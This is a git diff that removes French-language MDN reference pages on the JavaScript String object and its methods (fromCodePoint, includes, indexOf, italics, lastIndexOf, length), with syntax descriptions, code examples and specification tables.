{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html")}}
- - - -

Syntaxe

- -
String.fromCodePoint(num1[, ...[, numN]])
- -

Paramètres

- -
-
num1, ..., numN
-
Une séquence de codets (code points).
-
- -

Valeur de retour

- -

Une chaîne de caractères créée à partir de la séquence de codets indiquée.

- -

Exceptions

- -
    -
  • Une exception {{jsxref("Erreurs/Not_a_codepoint","RangeError")}} est renvoyée si un codet (Unicode) invalide est utilisé (par exemple, on pourra avoir "RangeError: NaN is not a valid code point").
    • -
- -

Description

- -

fromCodePoint() étant une méthode statique de {{jsxref("String")}}, elle doit toujours être utilisée avec la syntaxe String.fromCodePoint(), plutôt qu'avec une méthode d'un objet {{jsxref("String")}} qui aurait été créé.

- -

Exemples

- -

Utiliser fromCodePoint()

- -
String.fromCodePoint(42);       // "*"
-String.fromCodePoint(65, 90);   // "AZ"
-String.fromCodePoint(0x404);    // "\u0404"
-String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
-String.fromCodePoint(194564);   // "\uD87E\uDC04"
-String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
-
-String.fromCodePoint('_');      // RangeError
-String.fromCodePoint(Infinity); // RangeError
-String.fromCodePoint(-1);       // RangeError
-String.fromCodePoint(3.14);     // RangeError
-String.fromCodePoint(3e-2);     // RangeError
-String.fromCodePoint(NaN);      // RangeError
-
- -

Comparaison avec fromCharCode()

- -

La méthode {{jsxref("String.fromCharCode()")}} ne peut pas renvoyer les caractères de l'intervalle 0x010000 à 0X10FFFF avec un seul codet, il est nécessaire de lui fournir la paire décomposée (surrogate pair) pour obtenr un tel caractère :

- -
String.fromCharCode(0xD83C, 0xDF03); // émoji « nuit étoilée »
-String.fromCharCode(55356, 57091);   // équivalent en notation décimale
- -

String.fromCodePoint(), en revanche, peut renvoyer les caractères qui s'expriment sur plus d'un codet de 16 bits grâce à leur codet « simple » :

- -
String.fromCodePoint(0x1F303); // ou 127747 en notation décimale
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.fromCodePoint")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.fromCharCode()")}}
    • -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.prototype.codePointAt()")}}
    • -
  • {{jsxref("String.prototype.charCodeAt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html deleted file mode 100644 index 7da8d0e57e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/includes/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: String.prototype.includes() -slug: Web/JavaScript/Reference/Objets_globaux/String/includes -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/includes ---- -
{{JSRef}}
- -

La méthode includes() détermine si une chaîne de caractères est contenue dans une autre et renvoie true ou false selon le cas de figure.

- -
{{EmbedInteractiveExample("pages/js/string-includes.html")}}
- - - -

Syntaxe

- -
str.includes(chaîneRecherchée);
-str.includes(chaîneRecherchée, position);
- -

Paramètres

- -
-
chaîneRecherchée
-
Une chaîne à rechercher dans la chaîne courante.
-
position {{optional_inline}}
-
La position dans la chaîne à partir de laquelle commencera la recherche. La valeur par défaut de position est 0.
-
- -

Valeur de retour

- -

true si la chaîne de caractères contient la sous-chaîne recherchée, false sinon.

- -

Description

- -

Cette méthode détermine si une chaîne de caractères est contenue dans une autre.

- -

Sensibilité à la case

- -

includes() est sensible à la casse. Par exemple, l'expression suivante nous retournera false :

- -
'Baleine bleue'.includes('baleine'); // false
- -

Exemples

- -

Utiliser includes()

- -
const str = "Être ou ne pas être, telle est la question.";
-
-console.log(str.includes("Être"));       // true
-console.log(str.includes("question"));   // true
-console.log(str.includes("pléonasme"));  // false
-console.log(str.includes("Être", 1));    // false
-console.log(str.includes("ÊTRE"));       // false
-console.log(str.includes(""));       // true
-
- -

Prothèse d'émulation (polyfill)

- -

Cette méthode a été ajoutée à la spécification ECMAScript 2015 et n'est peut-être pas encore disponible dans toutes les implémentations JavaScript.

- -

Cependant, vous pouvez facilement {{Glossary('polyfill')}} cette méthode pour de vieux navigateurs :

- -
if (!String.prototype.includes) {
-  String.prototype.includes = function(search, start) {
-    'use strict';
-
-    if (search instanceof RegExp) {
-      throw TypeError('first argument must not be a RegExp');
-    }
-    if (start === undefined) { start = 0; }
-    return this.indexOf(search, start) !== -1;
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}{{Spec2('ES6')}}Définition initiale.
- -

Compatibilité du navigateur

- - - -

{{Compat("javascript.builtins.String.includes")}}

- -

String.prototype.contains

- -

Les versions de Firefox allant de Firefox 18 à Firefox 39 utilisent cette méthode avec le nom contains(). Cette méthode a été renommée en includes() via {{bug(1102219)}} pour la raison suivante :

- -

Il a été rapporté que certains sites web utilisant MooTools 1.2 plantaient sur Firefox 17. Cette version de MooTools vérifie que String.prototype.contains() existe bien, et si ce n'est pas le cas, ajoute sa propre fonction similaire. Avec l'introduction de cette fonction dans Firefox 17, le comportement de ce contrôle a changé de telle manière qu'il cause un plantage du code de MooTools implémenté pour String.prototype.contains(). En conséquence, cette implémentation a été désactivée de Firefox 17. String.prototype.contains() est ainsi disponible sur une version ultérieure : Firefox 18 lorsque MooTools a déclenché la sortie de la version 1.2.6.

- -

MooTools 1.3 force sa propre version de String.prototype.includes(), les sites Web l'implémentant ne sont donc pas perturbés. Néanmoins, il faut noter que les signatures des méthodes diffèrent entre MooTools 1.3 et ECMAScript 2015 (pour le second paramètre). MooTools 1.5+ a modifié sa signature afin de prendre en compte le standard de ES2015.

- -

Dans Firefox 48, la méthode String.prototype.contains() a été retirée. String.prototype.includes() doit être utilisée à la place.

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.includes()")}}
    • -
  • {{jsxref("TypedArray.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("String.prototype.startsWith()")}}
    • -
  • {{jsxref("String.prototype.endsWith()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/index.html b/files/fr/web/javascript/reference/objets_globaux/string/index.html deleted file mode 100644 index acb1dd450e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/index.html +++ /dev/null @@ -1,284 +0,0 @@ ---- -title: String -slug: Web/JavaScript/Reference/Objets_globaux/String -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String ---- -
{{JSRef}}
- -

L'objet global String est un constructeur de chaînes de caractères.

- -

Syntaxe

- -

Les littéraux de chaînes de caractères peuvent avoir l'une des formes suivantes :

- -
'texte de chaînes de caractères'
-"texte de chaînes de caractères"
-"中文 español English देवनागरी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 עברית"
- -

Les chaînes peuvent également être créées en utilisant directement le constructeur String :

- -
String(texte)
- -

Paramètres

- -
-
texte
-
Une valeur qu'on souhaite convertir en une chaîne de caractères.
-
- -

Littéraux de gabarits

- -

Depuis ECMAScript 2015, les littéraux de chaînes de caractères sont également appelés des littéraux de gabarits :

- -
`Coucou monde`
-`Coucou !
-monde !`
-`Coucou ${qui}`
-tag `<a>${qui}</a>`
-
- -

Échappement des caractères

- -

En dehors des caractères classiques, des caractères spéciaux peuvent être encodés grâce à l'échappement :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CodeRésultat
\XXX (XXX = 1 à 3 chiffres octaux pour l'intervalle 0 - 377)Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF
\'simple quote
\"double quote
\\barre oblique inversée
\nnouvelle ligne
\rretour chariot
\vtabulation verticale
\ttabulation
\bretour arrière
\fsaut de page (form feed)
\uXXXX (XXXX étant 4 chiffres hexadécimaux pour l'intervalle of 0x0000 - 0xFFFF)Codet UTF-16. Point de code Unicode entre U+0000 et U+FFFF
\u{X} ... \u{XXXXXX} (X…XXXXXX étant 1 à 6 chiffres hexadécimaux pour l'intervalle 0x0 - 0x10FFFF)Codet UTF-32. Point de code Unicode entre U+0000 et U+10FFFF {{experimental_inline}}
\xXX (XX étant 2 chiffres hexadécimaux pour l'intervalle 0x00 - 0xFF)Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF
- -
-

Note : À la différence d'autres langages, JavaScript ne différencie pas les chaînes contenues dans des doubles quotes (") de celles contenues dans des simples quotes ('). Pour cette raison, les chaînes d'échappement présentées ci-avant fonctionnent sur les chaînes, peu importe la façon dont elles sont encadrées.

-
- -

Littéraux pour les chaînes longues

- -

Il peut arriver que le code contienne des chaînes plutôt longues. Plutôt que d'avoir des lignes qui s'étirent sur tout le fichier et dans un éditeur de code, il est possible de casser la chaîne sur plusieurs lignes sans que cela modifie le contenu de la chaîne. Il existe deux façons pour le faire :

- -
let chaîneLongue = "Voici une très longue chaîne qui a besoin " +
-                   " d'être passée à la ligne parce que sinon " +
-                   " ça risque de devenir illisible.";
- -

ou on peut utiliser le caractère barre oblique inversée "\" à la fin de chaque ligne pour indiquer que la chaîne continue sur la ligne suivante. Il faut bien faire attention à ce que la barre oblique soit bien le dernier caractère de la ligne avant le saut de ligne. Sinon, cela ne fonctionnera pas. Voilà comment se présente cette forme :

- -
let chaîneLongue = "Voici une très longue chaîne qui a besoin \
-d'être passée à la ligne parce que sinon \
-ça risque de devenir illisible.";
- -

Description

- -

Les chaînes de caractères sont utiles pour représenter des données textuelles. Les opérations les plus fréquentes qui concernent les chaînes de caractères sont : la vérification de leur {{jsxref("String.length", "longueur")}}, la concaténation de plusieurs chaînes grâce aux opérateurs + et +=, étudier la présence et la position de fragments de chaînes avec les méthodes {{jsxref("String.prototype.indexOf", "indexOf()")}} et {{jsxref("String.prototype.substring", "substring()")}}.

- -

Accéder à un caractère

- -

Il existe deux façons d'accéder à un caractère dans une chaîne. La première façon consiste à utiliser la méthode {{jsxref("String.prototype.charAt", "charAt()")}} :

- -
return 'chat'.charAt(2); // renvoie "a"
- -

La seconde méthode, introduite avec ECMAScript 5, est de manipuler la chaîne comme un tableau, où les caractères sont les éléments du tableau et ont un indice correspondant à leur position :

- -
return 'chat'[2]; // renvoie "a"
- -

En utilisant la seconde notation, il est impossible de supprimer ou d'affecter une valeur à ces propriétés. En effet, les propriétés concernées ne sont ni accessibles en écriture ni configurables. Pour plus d'informations, voir la page de {{jsxref("Object.defineProperty()")}}.

- -

Comparer des chaînes de caractères

- -

Les développeurs C utilisent la fonction strcmp() pour comparer des chaînes de caractères. En JavaScript, il est possible d'utiliser les opérateurs inférieur et supérieur :

- -
var a = "a";
-var b = "b";
-if (a < b) { // true
-  console.log(a + " est inférieure à " + b);
-} else if (a > b) {
-  console.log(a + " est supérieure à " + b);
-} else {
-  console.log(a + " et " + b + " sont égales.");
-}
- -

On peut obtenir un résultat semblable avec la méthode {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} qui permet de prendre en compte la locale utilisée et qui est héritée par toutes les instances de String.

- -

Les différences entre les objets String et le type primitif pour les chaînes de caractères

- -

Les objets String sont créés en appelant le constructeur new String(). L'objet String encapsule le type de données primitif string de JavaScript en fournissant les méthodes décrites plus bas. La fonction globale String() peut également être appelée sans l'opérateur new pour créer une chaîne primitive. Les chaînes littérales dans le code JavaScript sont des chaînes primitives. (On a la même analogie pour {{jsxref("Boolean")}} et {{jsxref("Objets_globaux/Number","Numbers")}}.)

- -

Étant donné que JavaScript effectue automatiquement les conversions entre chaînes primitives et objets String, toute méthode de l'objet String peut être appelée sur une chaîne primitive. JavaScript convertira automatiquement la chaîne en un objet String temporaire, appellera la méthode, puis détruira l'objet temporaire. Par exemple, on peut utiliser la propriété String.length sur une chaîne créée de manière littérale :

- -
var s_prim = "toto";
-var s_obj = new String(s_prim);
-
-console.log(typeof s_prim); // affiche "string"
-console.log(typeof s_obj);  // affiche "object"
- -

(Une chaîne littérale peut être délimitée par des guillemets simples ou doubles.)

- -

Les objets String peuvent être convertis en chaînes primitives à l'aide de String.valueOf().

- -

Les chaînes primitives et les objets String renvoient des résultats différents lorsqu'ils sont évalués en JavaScript. Les chaînes primitives sont traitées comme du code source, tandis que les objets String sont traités comme un objet de séquence de caractères. Par exemple :

- -
s1 = "2 + 2";                    // crée une chaîne primitive
-s2 = new String("2 + 2");        // crée un objet String
-console.log(eval(s1));           // renvoie le nombre 4
-console.log(eval(s2));           // renvoie la chaîne "2 + 2"
-console.log(eval(s2.valueOf())); // renvoie le nombre 4
- -

Pour ces raisons, il peut y avoir certains problèmes quand le code attend une chaîne primitive plutôt qu'un objet String. Généralement la distinction n'a pas besoin d'être utilisée.

- -

Un objet String peut toujours être converti en son équivalent primitif grâce à la méthode {{jsxref("String.prototype.valueOf()", "valueOf()")}}.

- -
console.log(eval(s2.valueOf())); // renvoie  4
- -
Note : Une autre approche pour gérer des chaînes de caractères en JavaScript consiste à utiliser StringView – une représentation semblable à celle utilisée par le langage C pour traîter les chaînes comme des tableaux typés.
- -

Propriétés

- -
-
{{jsxref("String.prototype")}}
-
permet d'ajouter des propriétés à tous les objets String.
-
- -

Méthodes

- -
-
{{jsxref("String.fromCharCode()")}}
-
Renvoie une chaine de caractères créée en utilisant la séquence de valeurs Unicode fournie.
-
{{jsxref("String.fromCodePoint()")}}
-
Renvoie une chaine de caractères créée en utilisant la séquence de points de code fournie.
-
{{jsxref("String.raw()")}} {{experimental_inline}}
-
Renvoie une chaine de caractères à partir d'un modèle brut de chaine de caractères.
-
- -

Instances de String

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Propriétés')}}

- -

Méthodes

- -

Méthodes non liées à HTML

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes non liées à HTML')}}

- -

Méthodes de transformation à HTML

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes de transformation HTML')}}

- -

Exemples

- -

Il est possible d'utiliser String comme une alternative à {{jsxref("String.prototype.toString()", "toString()")}} car cela permet de traiter les valeurs {{jsxref("null")}}, {{jsxref("undefined")}} et les {{jsxref("Symbol","symboles","",1)}}. Ainsi :

- -
var chainesSortie= [];
-for (let i = 0, n = valeursEntrée.length; i < n; ++i) {
-  chainesSortie.push(String(valeursEntrée[i]));
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5', 'String')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-string-objects', 'String')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-string-objects', 'String')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String",2)}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html deleted file mode 100644 index 370aa6d397..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: String.prototype.indexOf() -slug: Web/JavaScript/Reference/Objets_globaux/String/indexOf -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf ---- -
{{JSRef}}
- -

La méthode indexOf() renvoie l'indice de la première occurence de la valeur cherchée au sein de la chaîne courante (à partir de indexDébut). Elle renvoie -1 si la valeur cherchée n'est pas trouvée.

- -
{{EmbedInteractiveExample("pages/js/string-indexof.html")}}
- - - -
-

Note : Pour la méthode associée aux tableaux, voir la page {{jsxref("Array.prototype.indexOf()")}}.

-
- -

Syntaxe

- -
str.indexOf(valeurRecherchée)
-str.indexOf(valeurRecherchée, indexDébut)
-
- -

Paramètres

- -
-
valeurRecherchée
-
Une chaîne représentant la valeur qu'on cherche dans la chaîne courante. Si aucune valeur n'est fournie explicitement, valeurRecherchée sera convertie en "undefined" et c'est cette chaîne qui sera recherchée.
-
indexDébut
-
Paramètre optionnel. L'indice à partir duquel commencer la recherche, effectuée du début vers la fin de la liste. Cela peut être n'importe quel entier. La valeur par défaut est 0. Si indexDébut < 0 la chaîne sera parcourue en entier (ce qui équivaut à utiliser 0). Si indexDébut >= str.length, la méthode renverra -1 sauf si valeurRecherchée est la chaîne vide, auquel cas, la méthode renverra str.length.
-
- -

Valeur de retour

- -

L'indice de la première occurrence de la valeur indiquée, -1 si elle n'est pas trouvée. Si la valeur recherchée est la chaîne vide, une correspondance sera trouvée à n'importe quel index entre 0 et str.length.

- -

Description

- -

Les caractères dans une chaîne de caractères sont indexés de la gauche à la droite. L'indice du premier caractère est 0, celui du dernier caractère (d'une chaîne str) est str.length - 1.

- -
"Blue Whale".indexOf("Blue");     // retourne  0
-"Blue Whale".indexOf("Blute");    // retourne -1
-"Blue Whale".indexOf("Whale", 0); // retourne  5
-"Blue Whale".indexOf("Whale", 5); // retourne  5
-"Blue Whale".indexOf("");         // retourne  0
-"Blue Whale".indexOf("", 9);      // retourne  9
-"Blue Whale".indexOf("", 10);     // retourne 10
-"Blue Whale".indexOf("", 11);     // retourne 10
- -

Sensibilité à la casse

- -

La méthode indexOf() est sensible à la casse. Par exemple, l'expression suivante retourne -1 :

- -
"Blue Whale".indexOf("blue") // retourne -1
-
- -

Attention : 0 n'est pas une valeur qui peut être évaluée à true et -1 n'est pas une valeur qui peut être évaluée à false. Ainsi, si on souhaite tester si une chaîne de caractères existe au sein d'une autre chaîne de caractères, on procèdera de cette façon (ou on utilisera {{jsxref("String.prototype.includes()")}}

- -
"Blue Whale".indexOf("Blue") != -1; // true
-"Blue Whale".indexOf("Bloe") != -1; // false
- -

Exemples

- -

Utiliser indexOf() et lastIndexOf()

- -

L'exemple suivant utilise indexOf() et lastIndexOf() pour localiser différentes valeurs dans la chaîne de caractères "Brave new world".

- -
const uneChaîne = "Brave new world"
-
-console.log("Indice du premier w " + uneChaîne.indexOf("w"));
-// Affiche 8
-console.log("Indice du dernier w " + uneChaîne.lastIndexOf("w"));
-// Affiche 10
-
-console.log("Indice du premier 'new' " + uneChaîne.indexOf("new"));
-// Affiche 6
-console.log("Indice du dernier 'new' " + uneChaîne.lastIndexOf("new"));
-// Affiche 6
-
- -

indexOf() et la sensibilité à la casse

- -

L'exemple suivant définit 2 chaînes de caractères. Ces variables contiennent la meme chaîne de caractères sauf que la seconde chaîne de caractères contient des lettres majuscules. La première méthode writeln affiche 19. Cependant, comme la méthode indexOf est sensible à la casse, la chaîne de caractères "cheddar" n'est pas trouvée dans myCapString, donc le second résultat affiche -1.

- -
const maChaîne = "brie, reblochon, cheddar";
-const maChaîneMajuscules = "Brie, Reblochon, Cheddar";
-
-console.log('maChaîne.indexOf("cheddar") is '+ maChaîne.indexOf("cheddar"));
-// Affiche 19
-console.log('maChaîneMajuscules.indexOf("cheddar") is ' + maChaîneMajuscules.indexOf("cheddar"));
-// Affiche -1
- -

Utiliser indexOf() pour compter le nombre d'occurences dans une chaîne de caractères

- -

L'exemple suivant utilise la variable count pour stocker le nombre d'occurences de la lettre x dans la chaîne de caractère str :

- -
const str = "Chaîne x de test x";
-let count = 0;
-let pos = str.indexOf("x");
-
-while ( pos != -1 ) {
-   count++;
-   pos = str.indexOf( "x",pos + 1 );
-}
-console.log(count); // Affiche 2
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.indexOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("String.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.split()")}}
    • -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html b/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html deleted file mode 100644 index 399dfe4113..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/italics/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: String.prototype.italics() -slug: Web/JavaScript/Reference/Objets_globaux/String/italics -tags: - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/italics ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode italics() permet de créer un élément HTML {{HTMLElement("i")}} qui permet de représenter la chaîne courante en italique.

- -

Syntaxe

- -
str.italics()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("i")}}.

- -

Description

- -

La méthode italics encadre la chaîne de caractères dans une balise <i> :
- "<i>str</i>"

- -

Exemples

- -

Les méthodes des chaînes de caractères peuvent être utilisées pour changer le formatage d'une chaîne de caractères :

- -
var worldString = "Coucou monde";
-
-console.log(worldString.blink());
-console.log(worldString.bold());
-console.log(worldString.italics());
-console.log(worldString.strike());
-
- -

Cet exemple permet de produire le fragment HTML suivant dans la console :

- -
<blink>Coucou monde</blink>
-<b>Coucou monde</b>
-<i>Coucou monde</i>
-<strike>Coucou monde</strike>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.italics', 'String.prototype.italics')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.italics', 'String.prototype.italics')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.italics")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.blink()")}}
    • -
  • {{jsxref("String.prototype.bold()")}}
    • -
  • {{jsxref("String.prototype.strike()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html deleted file mode 100644 index c45c3fc280..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: String.prototype.lastIndexOf() -slug: Web/JavaScript/Reference/Objets_globaux/String/lastIndexOf -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf ---- -
{{JSRef}}
- -

La méthode lastIndexOf() renvoie l'indice, dans la chaîne courante, de la dernière occurence de la valeur donnée en argument. Si cette sous-chaîne n'est pas trouvée, la méthode renvoie -1. La recherche s'effectue de la fin vers le début de la chaîne, à partir de indiceDébut.

- -
{{EmbedInteractiveExample("pages/js/string-lastindexof.html")}}
- - - -

Syntaxe

- -
str.lastIndexOf(valeurRecherchée[, indiceDébut])
- -

Paramètres

- -
-
valeurRecherchée
-
Une chaîne qu'on recherche dans la chaîne courante. Si ce paramètre n'est pas défini et que indiceDébut est utilisé, c'est ce dernier qui sera renvoyé par la fonction.
-
indiceDébut {{optional_inline}}
-
Paramètre optionnel. L'emplacement, dans la chaîne courante, à partir duquel effectuer la recherche (en partant de la fin de la chaîne et en remontant vers le début). Cela peut être n'importe quel entier. La valeur par défaut est +Infinity. Si indiceDébut > str.length, toute la chaîne sera parcourue. Si indiceDébut < 0,  on aura le même comportement que si indiceDébut valait 0.
-
- -

Valeur de retour

- -

L'indice de la dernière occurrence de la valeur indiquée, -1 si elle n'est pas trouvée.

- -

Description

- -

Les caractères d'une chaîne de caractères sont indexés de gauche à droite. L'indice du premier caractère vaut 0 et l'indice du dernier caractère vaut maChaîne.length - 1.

- -
'canal'.lastIndexOf('a');     // renvoie 3
-'canal'.lastIndexOf('a', 2);  // renvoie 1
-'canal'.lastIndexOf('a', 0);  // renvoie -1
-'canal'.lastIndexOf('x');     // renvoie -1
-'canal'.lastIndexOf('c', -5); // renvoie 0
-'canal'.lastIndexOf('c', 0);  // renvoie 0
-'canal'.lastIndexOf('');      // renvoie 5
-'canal'.lastIndexOf('', 2);   // renvoie 2
-
- -
-

Note : 'abab'.lastIndexOf('ab', 2) renvoie 2 et pas 0 car l'argument indiceDébut ne limite que le début de la correspondance recherchée ( qui est 'ab')

-
- -

Sensibilité à la casse

- -

La méthode lastIndexOf() est sensible à la casse (une lettre en minuscule (i) est différente d'une lettre en majuscule (I)). Ainsi, le résultat de l'expression suivante sera -1 :

- -
'Blue Whale, Killer Whale'.lastIndexOf('blue'); // renvoie -1
-
- -

Exemples

- -

Dans l'exemple suivant, on utilise {{jsxref("String.prototype.indexOf()", "indexOf()")}} et lastIndexOf() pour situer certaines valeurs dans la chaîne "Brave new world".

- -
var maChaîne = 'Brave new world';
-
-console.log('Indice du premier w ' + maChaîne.indexOf('w'));
-// Affiche 8
-console.log('Indice du dernier w ' + maChaîne.lastIndexOf('w'));
-// Affiche 10
-
-console.log('Indice du premier "new" ' + maChaîne.indexOf('new'));
-// Affiche 6
-console.log('Indice du dernier "new" ' + maChaîne.lastIndexOf('new'));
-// Affiche 6
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.4.8', 'String.prototype.lastIndexOf')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.lastIndexOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.split()")}}
    • -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/length/index.html b/files/fr/web/javascript/reference/objets_globaux/string/length/index.html deleted file mode 100644 index 9e1614ddcd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/length/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: String.length -slug: Web/JavaScript/Reference/Objets_globaux/String/length -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/length ---- -
{{JSRef}}
- -

La propriété length représente la longueur d'une chaine de caractères, exprimée en nombre de points de code UTF-16. C'est une propriété accessible en lecture seule.

- -
{{EmbedInteractiveExample("pages/js/string-length.html")}}
- - - -

Syntaxe

- -
str.length
- -

Description

- -

Cette propriété renvoie le nombre de « codets » (ou unités de code ou bien code units en anglais) d'une chaîne de caractères. {{interwiki("wikipedia", "UTF-16")}}. Le format utilisé pour représenter les chaînes de caractères en JavaScript utilise un seul codet sur 16 bits pour représenter la plupart des caractères communs. En revanche, pour représenter les caractères plus rares, deux codets seront utilisés : la valeur renvoyée par length ne correspondra alors pas au nombre de caractères dans la chaîne.

- -

ECMAScript 2016 (la septième édition) établit une longueur maximale de 253 - 1 éléments. Auparavant, aucune longueur maximale n'était spécifiée. Pour Firefox, les chaînes ont une longueur maximale de 230-2 caractères (environ 1 Go). Pour les versions de Firefox antérieures à Firefox 65, la taille maximale était de de 228-1 (environ 256 Mo).

- -

Pour une chaine vide, on aura length égal à 0.

- -

La propriété statique String.length renvoie la valeur 1.

- -

Exemples

- -

Utiliser String.length

- -
const x = "Mozilla";
-const vide = "";
-
-console.log(x + " mesure " + x.length + " codets");
-/* "Mozilla mesure 7 codets" */
-
-console.log("La chaîne vide a une longueur de " + vide.length);
-/* "La chaîne vide a une longueur de 0" */
- -

Affecter une valeur à length

- -
const maChaine = "Sloubi";
-// Lorsqu'on tente d'affecter une valeur à la propriété length
-// rien d'observable ne se produit
-
-maChaine.length = 3;
-console.log(maChaine); /* Sloubi */
-console.log(maChaine.length); // 6
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
- Implémentée avec JavaScript 1.0.
